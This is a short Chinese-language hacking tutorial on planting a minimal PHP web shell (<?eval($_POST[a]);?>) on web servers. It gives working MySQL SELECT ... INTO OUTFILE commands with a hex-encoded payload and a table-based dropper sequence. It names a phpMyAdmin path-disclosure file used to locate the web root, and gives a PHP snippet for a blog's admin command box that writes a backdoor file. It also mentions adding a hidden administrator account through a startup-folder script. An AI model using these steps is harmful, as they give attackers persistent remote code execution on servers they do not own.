在mysql操作裡輸入select 0x3C3F6576616C28245F504F53545B615D293B3F3E from mysql.user into outfile '路徑’ 就可以獲得了一個<?eval($_POST[a]);?>的最小馬' 0x3C3F6576616C28245F504F53545B615D293B3F3E 是我們<?eval($_POST[a]);?>的十六進位,這種方法對phpmyadmin比較普遍,先利用phpmyadmin的路徑泄露漏洞,比較典型的 是http://url/phpmyadmin/libraries/select_lang.lib.php。
就可以暴出路徑,php環境中比較容易暴出絕對路徑:)。提一點的是遇到是mysql在win系統下路徑應該這樣寫d:\\wwwroot\\a.php。下面的方法是比較常用的一個匯出webshell的方法,也可以寫個vbs添加系統管理員的指令碼匯出到開機檔案夾,系統重起後就會添加一個管理員帳號
CREATE TABLE a(cmd text NOT NULL)
INSERT INTO a(cmd) VALUES('<?fputs(fopen("./a.php","w"),"<?eval(\$_POST[a]);?>")?>')
select cmd from a into outfile '路徑/b.php'
DROP TABLE IF EXISTS a
訪問b.php就會產生一個<?eval($_POST[a]);?>的最小馬。
如果遇到可以執行php命令就簡單多了,典型的代表是BO-BLOG,在背景php命令框輸入以下代碼:
<?
$sa = fopen("./up/saiy.php","w");
fwrite($sa,"<?eval(\$_POST[a]);?".">");
fclose($sa);
?>
就會在up目錄下組建檔案名為saiy.php內容為<?eval($_POST[a]);?>的最小php木馬, 最後用lanker的用戶端來串連。實際運用中要考慮到檔案夾是否有寫入權限。或者輸入這樣的代碼<?fputs(fopen("./a.php","w"),"<?eval(\$_POST[a]);?>")?> 將會在目前的目錄產生一個a.php的最小馬。